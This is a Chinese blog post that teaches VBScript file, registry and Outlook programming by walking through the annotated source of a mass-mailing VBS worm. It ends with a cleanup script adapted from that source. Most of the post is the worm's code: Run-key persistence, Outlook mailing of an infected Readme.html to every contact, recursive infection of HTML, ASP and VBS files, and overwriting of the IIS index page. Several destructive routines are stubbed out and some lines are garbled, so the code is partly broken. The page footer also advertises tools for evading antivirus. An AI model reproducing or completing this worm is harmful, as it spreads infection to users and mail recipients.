`
emzt82emzt
  • 浏览: 11427 次
最近访客 更多访客>>
社区版块
存档分类
最新评论

通过对一个病毒源码的分析,了解VBS脚本语言的应用

 
阅读更多

通过对一个病毒源码的分析,了解VBS脚本语言的应用
2009年08月15日
   对于一个真正充满热情的cfan来说,不仅要知其然,还要知其所以然,VBS病毒
  真的很可怕吗?从早期的宏病毒,到有名的“欢乐时光”病毒,“爱情虫”病毒等,
  无不来势汹汹,其实许多生势多是杀毒软件商的炒做,读了前文,笔者觉得有必要
  为VBS正名,为了让计算机更好,更高效的服务,我们决不应该回避优秀的软件工具,
  采取被动回避的策略,等同于因噎废食。
  本文通过对一个vbs病毒源码的分析,介绍脚本语言在:文件系统,注册表,以
  及网络邮件三个方面的具体应用和技巧。较早的“爱情虫”等病毒,程序比较粗糙,
  这个病毒结合了许多早期病毒的优点,程序代码简单,高效,充分展示了VBS的全面
  特点,因此拿来与大家共享,如果将这个源码作为一个VBS开发的微型帮助文档,一
  点不为过。读者也可以通过此文揭开此类病毒的神秘面纱,不再谈虎色变,先进的东
  西都不敢用了。杀病毒吗,笔者还是建议您购买一套杀毒软件(几十元的价格,一点
  不贵),然后注意更新病毒库就可以了。要学习 VBS,具有一些VB的基础知识就够了。
  这个病毒的主要攻击方法是:通过网络及邮件进行传播,并且不断地向目标邮件服
  务器发送大量邮件,并且在传染过程中检测网络主机的名称中是否有目标字符,如
  果有则进行破坏攻击。
  下面将结合具体的程序逐步进行介绍,由于篇幅关系,对一些语句进行了缩减。
  '@ thank you!  make use of other person to get rid of an enemy, white trap _2001
  ''开场白,第一个字符“@”是这个病毒传染时的标记
  on error resume next  ''这一句很重要,主要是在程序执行时如果发生错误就接着
  ''执行下一条语句,防止谈出出错对话框,否则就不能偷偷
  ''的干坏事啦。这里有一个技巧,就是在程序编制调试阶段,
  ''最好不要这一条语句,因为它会忽略错误,使你的调试工
  ''作不易完成。
  dim vbscr, fso,w1,w2,MSWKEY,HCUW,Code_Str, Vbs_Str, Js_Str
  dim defpath, smailc, MAX_SIZE, whb(), title(10)      ''声明各个变量
  smailc = 4
  Redim whb(smailc)
  whb(0) = "pr@witehous.gov"
  ...
  whb(3) = "ms@witehous.gov"
  ''以上这四个邮件地址就是被攻击的目标,当然已经进行了修改,不是真实地址
  title(0) = "Thanks for helping me!"
  ...
  title(8) = "the sitting is open!"
  title(9) = ""
  ''以上这十条字符串是病毒执行时随机显示在IE标题栏里的信息。如果你的IE标题栏
  ''显示了其中的某条信息,呵呵,一定要接着往下看
  defpath  = "C:\Readme.html"          ''将随邮件一起发送的病毒体
  MAX_SIZE = 100000
  MSWKEY   = "HKEY_LOCAL_MACHINE\SoftWare\Microsoft\Windows\"
  HCUW     = "HKEY_CURRENT_USER\Software\Microsoft\WAB\"
  ''定义两个注册表的键值变量
  main     ''执行主函数''下面就是程序中所需的各个函数的定义部分,整个VBS程序将由windows目录中的
  ''WScript.exe文件解释执行,如果将这个文件改名或删除,当然VBS程序也就不能执行
  ''了,如此便阻止了病毒的执行。在用杀毒软件杀毒时,往往病毒传播的速度要比杀
  ''毒的速度快,如果出现这种情况,应该先将WScript.exe文件改名,阻止病毒传播,
  ''等杀完毒后,再改回来,不致影响其他正常的VBS程序的执行。
  sub main()
  on error resume next
  dim w_s
  w_s= WScript.ScriptFullName     ''得到此文件名称
  if w_s = "" then
  Err.Clear
  set fso = CreateObject("Scripting.FileSystemObject")
  ''随着VB编程语言的完善,微软也推出了一种全新的文件操作方法:文件系
  ''统对象(FileSystemObject)。这个对象,及一些相关对象,封装了所有
  ''的文件操作。这个病毒程序基本展示了所有的这些操作,因此,如果您要
  ''利用VBS进行文件操作编程,将这个病毒源码作为参考文档,肯定不错。
  if getErr then
  Randomize
  ra = int(rnd() * 7)
  doucment.write title(ra)      
  ExecuteMail         ''打开有毒的页面
  else     
  ExecutePage         ''赋值成功,进行传染,攻击
  end if 
  else
  ExecuteVbs                  ''从病毒体文件“system.dll”提取病毒
  end if
  end subFunction  getErr()
  ''本函数主要是检测前一条语句是否成功返回了Scripting.FileSystemObject对象,
  ''内容略
  end functionsub ExecutePage()
  dim Html_Str,adi,vf,wdf, wdf2,wdf3,wdsf, wdsf2
  Vbs_Str  = GetScriptCode("vbscript")       ''获得此程序的VBScript code
  Js_Str   = GetJavaScript()
  Code_Str =  MakeScript(encrypt(Vbs_str),true)   ''进行加密处理
  Html_Str =  MakeHtml(encrypt(Vbs_str), true)
  Gf
  wdsf  = w2 & "Mdm.vbs"
  wdsf2 = w1 & "Profile.vbs"
  wdf   = w2 & "user.dll"
  wdf2  = w2 & "Readme.html"
  wdf3  = w2 & "system.dll"set vf = fso.OpenTextFile (wdf, 2, true)
  vf.write Vbs_Str
  vf.close 
  ''仅用以上三条语句便完成了病毒体文件 "user.dll"的制作,其中对象函数
  ''OpenTextFile (wdf, 2, true)的三个参数分别是:
  ''①文件名,②读=1或写=2,③文件不存在时是否创建;
  ''当前,FileSystemObject对于文本文件的操作有较强的优势,对binary文件
  ''的操作还有待加强。下面依次生成其他的文件,内容略Writereg  MSWKEY & "CurrentVersion\Run\Mdm", wdsf, ""   
  Writereg  MSWKEY & "CurrentVersion\RunServices\Profile", wdsf2, ""
  ''将Mdm.vbs,Profile.vbs两个脚本文件加入到启动组当中,随Win启动自动执行
  SendMail
  Hackpage
  if TestUser then
  Killhe
  else
  mk75
  end if
  set adi = fso.Drives        ''所有驱动器对象
  for each x in adi           ''遍历所有的驱动器
  if x.DrivesType = 2 or x.DrivesType = 3 then 
  call SearchHTML(x & "\")
  end if
  next
  if fso.FileExists(defpath) then  fso.DeleteFile defpath
  ''如果存在"C:\Readme.html" ,就删除它
  end subsub  ExecuteMail()
  ''此函数制作病毒文件"C:\Readme.html" ,并打开它,
  ''由这一段程序,可以看出VBS的简洁高效
  on error resume next
  Vbs_Str  = GetScriptCode("vbscript")
  Js_Str   = GetJavaScript()
  Set Stl = CreateObject("Scriptlet.TypeLib")
  with Stl
  .Reset
  .Path = defpath
  .Doc =  MakeHtml(encrypt(Vbs_str), true)
  .Write()
  end with
  window.open defpath, "trap", "width=1 height=1 menubar=no scrollbars=no toolbar=no"
  end subsub ExecuteVbs()
  on error resume next
  dim x, adi, wvbs, ws, vf
  set fso = CreateObject("Scripting.FileSystemObject")
  set wvbs = CreateObject("WScript.Shell")
  Gf
  wvbs.RegWrite  MSWKEY & "Windows Scripting Host\Setings\Timeout", 0, "REG_DWORD"
  set vf = fso.OpenTextFile (w2 & "system.dll", 1)
  Code_Str = vf.ReadAll()
  vf.close
  Hackpage
  SendMail
  if TestUser then
  Killhe
  else
  mk75
  end if
  set adi = fso.Drives
  for each x in adi
  if x.DrivesType = 2 or x.DrivesType = 3 then 
  call SearchHTML(x & "\")
  end if  
  next
  end subsub Gf()
  w1=fso.GetSpecialFolder(0) & "\"   ''获得Windows的路径名,
  w2=fso.GetSpecialFolder(1) & "\"   ''获得系统文件夹路径名
  end subfunction Readreg(key_str)
  set tmps = CreateObject("WScript.Shell")
  Readreg = tmps.RegRead(key_str)
  set tmps = Nothing
  end functionfunction Writereg(key_str, Newvalue, vtype)
  ''对注册表进行写入操作,读操作类似,可以由此看到vbs的注册表操作非常简单明了。
  set tmps = CreateObject("WScript.Shell")
  if vtype="" then
  tmps.RegWrite key_str, Newvalue
  else
  tmps.RegWrite key_str, Newvalue, vtype
  end if     
  set tmps = Nothing       ''关闭不用的资源,算是病毒的良好行为
  end functionfunction MakeHtml(Sbuffer, iHTML)
  ''制作html文件的内容
  dim ra
  Randomize
  ra = int(rnd() * 7)
  MakeHtml="" & title(ra) & "" & _
  "" & vbcrlf &  MakeScript(Sbuffer, iHTML) & vbcrlf & _
  ""
  end Functionfunction MakeScript(Codestr, iHTML)
  ''制作病毒的可执行script code
  if iHTML then
  dim DocuWrite
  DocuWrite = "document.write('\n'+" & _
  "jword" & "+'\n');"
  DocuWrite = DocuWrite & vbcrlf & "document.write('\n'+" & _
  "nword" & "+'\n');"
  MakeScript="" & vbcrlf & "var jword = " & _
  chr(34) & encrypt(Js_Str) & chr(34) & vbcrlf & "var nword = " & _
  chr(34) &  Codestr &  chr(34) & vbcrlf & "nword = unescape(nword);" & vbcrlf & _
  "jword = unescape(jword);" & vbcrlf & DocuWrite & vbcrlf & ""
  else    
  MakeScript= "" & Codestr & ""
  end if
  end function function GetScriptCode(Languages)
  ''此函数获得运行时的Script code,
  ''内容略
  end functionfunction GetJavaScript()
  GetJavaScript = GetScriptCode("javascript")
  end functionfunction TestUser()
  ''此函数通过键值检测网络主机是否是攻击目标
  ''内容略
  end functionfunction mk75()
  ''检测日期是否符合,如果符合,发控制台命令,使系统瘫痪
  end functionfunction SendMail()
  ''利用outlook发送携带病毒体的邮件,Microsoft Outlook是可编程桌面信息管理程序,
  ''outlook可以作为一个自动化服务器(Automation servers),因此很容易实现自动发送
  ''邮件,从这里也可以看出,先进的东西难免会被反面利用,如果你也想用程序控制发送
  ''邮件,可以仔细研究下面的代码,
  on error resume next
  dim wab,ra,j, Oa, arrsm, eins, Eaec, fm, wreg, areg,at
  Randomize
  at=fso.GetSpecialFolder(1) & "\Readme.html"    ''要发送的附件文件
  set  Oa  = CreateObject("Outlook.Application") ''制作outlook对象
  set  wab = Oa.GetNameSpace("MAPI")             ''取得Outlook MAPI名字空间
  for j = 1 to wab.AddressLists.Count            ''遍历所有联系人
  eins = wab.AddressLists(j)
  wreg=Readreg (HCUW  & eins)
  if (wreg="") then wreg = 1
  Eaec = eins.AddressEntries.Count       ''地址表的Email记录数
  if (Eaec > Int(wreg)) then
  for x = 1 to Eaec
  arrsm = wab.AddressEntries(x)
  areg = Readreg(HCUW & arrsm)
  ''读注册表中的标记,避免重复发送
  if (areg = "") then
  set fm = wab.CreateItem(0)   ''创建新邮件
  with fm
  ra = int(rnd() * 7)
  .Recipients.Add arrsm ''收件人
  .Subject = title(ra) ''邮件的标题
  .Body = title(ra)  ''邮件的正文内容
  .Attachments at   ''病毒文件作为附件
  .Send        ''发送邮件
  Writereg HCUW & arrsm, 1, "REG_DWORD"
  end with
  end if
  next
  end if   
  Writereg HCUW & eins, Eaec, ""  
  next
  set Oa = Nothing
  window.setTimeout "SendMail()", 10000   ''每100秒发送一次
  end functionsub SearchHTML(Path)
  ''这个函数递归搜索所有需感染的文件,如果你想批量处理文件,这是非常典型
  ''的样例代码
  on error resume next
  dim pfo, psfo, pf, ps, pfi, ext
  if instr(Path, fso.GetSpecialFolder(2)) > 0  then exit sub
  ''fso.GetSpecialFolder(2)获得临时文件夹路径名,
  ''fso.GetSpecialFolder(0)获得Windows的路径名,
  ''fso.GetSpecialFolder(1)获得系统文件夹路径名
  set pfo    = fso.GetFolder(Path)
  set psfo   = pfo.SubFolders
  for each  ps in psfo
  SearchHTML(ps.Path)
  set pf  = ps.Files
  for each pfi in pf
  ext = LCase(fso.GetExtensionName(pfi.Path))
  if instr(ext, "htm") > 0 or ext = "plg" or ext = "asp" then
  if Code_Str"" then AddHead pfi.Path, pfi, 1
  elseif ext= "vbs"  then
  AddHead pfi.Path,pfi, 2
  end if      
  next
  next
  end subsub Killhe()
  ''看函数名就知道硬盘又要倒霉啦
  end subsub Hackpage()
  dim fi
  H = "C:\InetPut\wwwroot"
  if fso.FolderExists(H) then
  set fi = fso.GetFile(H & "\index.htm")
  AddHead H & "\index.htm",fi,1
  end if  
  end subsub AddHead(Path, f, t)
  ''这个函数负责感染文件,之所以不进行省略,因为在后面编制杀毒程序时要用到这一段。
  on error resume next
  dim tso, buffer,sr
  if f.size > MAX_SIZE then exit sub
  set tso = fso.OpenTextFile(Path, 1, true)
  buffer = tso.ReadAll()
  tso.close
  if (t = 1) then
  ''如果是"htm","plg", "asp" 文件,则在其中加入病毒代码
  if UCase(Left(LTrim(buffer), 7))  " "'@" then
  tso.close
  sr=w2 & "user.dll"
  if fso.FileExists(sr) then fso.CopyFile sr, Path
  end if
  end if
  end sub
  ''以上对病毒源码进行了分析,是不是有所收获,赶快打开纪事本,亲自开发一个vbs
  ''程序吧,“水能载舟,亦能覆舟”,就编一个清除它的杀毒程序,算是本文的加强练习。
  ''
  ''感兴趣的朋友可以看一下笔者根据源程序改编的杀毒程序。附:
  ''''''''kill75.vbs''''''''''''
  '本程序由源病毒码修改而成
  Dim fso, w1, w2, MSWKEY, HCUW
  Dim defpath
  Dim bdNUM      ''记录杀除病毒文件的个数
  Const MAX_SIZE = 100000
  mainSub main()
  On Error Resume Next
  bdNUM=0
  defpath = "C:\Readme.html"
  MSWKEY = "HKEY_LOCAL_MACHINE\SoftWare\Microsoft\Windows\"
  HCUW = "HKEY_CURRENT_USER\Software\Microsoft\WAB\"
  Err.Clear
  Set fso = CreateObject("Scripting.FileSystemObject")
  ExecuteKill
  End Sub
  Sub ExecuteKill()
  On Error Resume Next
  Dim adi, vf, wdf, wdf2, wdf3, wdsf, wdsf2
  Gf
  wdsf = w2 & "Mdm.vbs"
  wdsf2 = w1 & "Profile.vbs"
  wdf = w2 & "user.dll"
  wdf2 = w2 & "Readme.html"
  wdf3 = w2 & "system.dll"If fso.FileExists(wdsf) Then fso.DeleteFile wdsf: bdNUM = bdNUM + 1
  If fso.FileExists(wdsf2) Then fso.DeleteFile wdsf2: bdNUM = bdNUM + 1
  If fso.FileExists(wdf) Then fso.DeleteFile wdf: bdNUM = bdNUM + 1
  If fso.FileExists(wdf2) Then fso.DeleteFile wdf2: bdNUM = bdNUM + 1
  If fso.FileExists(wdf3) Then fso.DeleteFile wdf3: bdNUM = bdNUM + 1
  If fso.FileExists(w2 & "75.htm") Then fso.DeleteFile w2 & "75.htm": bdNUM = bdNUM + 1
  If fso.FileExists(defpath) Then fso.DeleteFile defpath: bdNUM = bdNUM + 1DeleteReg MSWKEY & "CurrentVersion\Run\Mdm"
  DeleteReg MSWKEY & "CurrentVersion\RunServices\Profile"
  DeleteReg MSWKEY & "CurrentVersion\Run\75"Set adi = fso.Drives
  For Each x In adi
  If x.DrivesType = 2 Or x.DrivesType = 3 Then
  Call SearchHTML(x & "\")
  End If
  Next
  End SubSub Gf()
  w1 = fso.GetSpecialFolder(0) & "\"
  w2 = fso.GetSpecialFolder(1) & "\"
  End SubFunction DeleteReg(key_str)
  Set tmps = CreateObject("WScript.Shell")
  tmps.RegDelete key_str
  Set tmps = Nothing
  End FunctionSub SearchHTML(Path)
  On Error Resume Next
  Dim pfo, psfo, pf, ps, pfi, ext
  If InStr(Path, fso.GetSpecialFolder(2)) > 0 Then Exit Sub
  Set pfo = fso.GetFolder(Path)
  Set psfo = pfo.SubFolders
  For Each ps In psfo
  SearchHTML (ps.Path)
  Set pf = ps.Files
  For Each pfi In pf
  FileLabel.Caption = pfi
  DoEvents
  ext = LCase(fso.GetExtensionName(pfi.Path))
  If InStr(ext, "htm") > 0 Or ext = "plg" Or ext = "asp" Then
  CutHead pfi.Path, pfi, 1
  ElseIf ext = "vbs" Then
  CutHead pfi.Path, pfi, 2
  End If
  Next
  Next
  End SubSub CutHead(Path, f, t)
  On Error Resume Next
  Dim tso, buffer, sr, wz, fbuf
  Set tso = fso.OpenTextFile(Path, 1, True)
  buffer = tso.ReadAll()
  tso.Close
  If (t = 1) Then
  If UCase(Left(LTrim(buffer), 7)) = " 0 Then
  wz = InStr(1, buffer, "")
  If wz > 10000 Then
  fbuf = Right(buffer, Len(buffer) - wz - 10)
  Set tso = fso.OpenTextFile(Path, 2, True)
  tso.Write fbuf
  tso.Close
  bdNUM = bdNUM + 1
  DoEvents
  End If
  End If
  End If
  Else
  If Mid(buffer, 3, 2) = "'@" Then
  re = MsgBox("是否想删除:" + Path + ",它可能已经变成了75病毒", vbYesNo)
  If (re = vbYes) Then
  tso.Delete
  bdNUM = bdNUM + 1
  DoEvents
  End If
  End If
  End If
  End Sub
  Function getErr()
  If Err.Number  0 Then
  getErr = True
  Err.Clear
  Else
  getErr = False
  End If
  End Function
分享到:
评论

相关推荐

    按键精灵VBS脚本实例源码及详解

    按键精灵VBS脚本实例源码及详解按键精灵VBS脚本实例源码及详解按键精灵VBS脚本实例源码及详解

    VBS脚本病毒如何躲过杀毒软件

    VBS脚本病毒如何躲过杀毒软件

    vbs脚本发邮件源码

    VBS 发邮件源码 smtp发信 可以发送邮件到指定邮箱

    VBS TreeView 脚本示例源码

    VBScript 结合TreeView控件实现的树状目录结构示例源码

    vbs语言开发工具-vbs源码

    此工具高效快速生成vbs代码,生成后可立即运行查看效果,附带源码,欢迎大家下载学习,

    可倒计时自动关机vbs脚本

    可倒计时自动关机vbs脚本,设定为9秒关机,修改必须在源码中修改

    vbs 脚本加解密

    支持文件拖动功能,将脚本拖动到该文件上即可完成加解密。 自动识别,加密过的文件拖动到该文件上会自动解密,未加密的文件拖动到该文件上会自动加密。...加密后,自己的vbs程序有一定的保密性,防止源码外泄!

    VBS脚本编写速学指南

    VBS脚本编写速学指南

    pppd 源码 与pppd使用脚本分析打包

    pppd 源码 与pppd使用脚本分析打包

    请假条.vbs

    请假条.vbs

    MapReduce 2.0源码分析与编程实

    《MapReduce2.0源码分析与编程实战》最后部分介绍了数据挖掘的初步知识,以及不同应用类型的MapReduce2.0编程实战。《MapReduce2.0源码分析与编程实战》强调理论联系实际,帮助读者在掌握MapReduce2.0基本知识和特性...

    Autojs 例子 源码 1600多个教程源码

    autojs例子大全,一千六百多个脚本,简单的到复杂的例子,统统有,小白学完马上变大神,大神学了变超神。 脚本内容包含: 几十种类型的UI脚本,抖音、QQ、微信、陌陌、支付宝等自动化操作的脚本、还有部分协议列表...

    使用vbs脚本实现ssh一键连接服务器

    使用vbs脚本实现ssh一键连接服务器

    表白软件脚本,vbs

    表白脚本,打开即可运行,无毒无害,后缀改成vb就可以看源码,欢迎互相交流,就五个积分,为了您的终生大事,下载一下吧

    VBS加密免杀器 下载

    VBS加密免杀器,做vbs的朋友,因各种原因,... 您可能感兴趣的文章:VBS加密解密源码(UserAccounts.CommonDialog) 软件开发网修正版VBS加密与VBE解密实现方法简单的VBS加密实现代码VBS加密14法你会几种 VBS加密免杀浅谈

    VBS脚本加密/解密VBS脚本(简易免杀版1.1)

    由于杀软的原因使得“加密/解密VBS脚本”版不能正常使用,于是修改了一下加密函数逃避杀软,但同 1.0版一样由宿主解释执行脚本的特性注定了这种加密是可逆并非常脆弱的,WScript.Echo 一下Execute 后的内容即可显示...

    Auto.js源码提取器.apk

    配合Xposed对Auto.js打包出来的应用进行脚本提取,并以js文件格式输出。直接可以一键对源码进行编辑,或者分享给好友

    openswan的Pluto源码分析以及linux的IPsec内核源码分析

    对openswan的Pluto源码和linux的IPsec内核源码进行了详细的分析,对于理解openswan的运行机制以及linux的IPsec实现很有帮助

    V8Javascript脚本引擎源码

    谷歌浏览器的脚本引擎、JavaScript解释器:V8。checkout日期:2009-4-19

    ANDROID源码分析实录

    《Android源码分析实录》共分为15章,主要内容包括走进Android世界、硬件抽象层详解、分析JNI(Java本地接口)层、Android内存系统分析、Andmid虚拟机系统详解、IPC通信机制详解、Zygote进程/System进程和应用程序...

Global site tag (gtag.js) - Google Analytics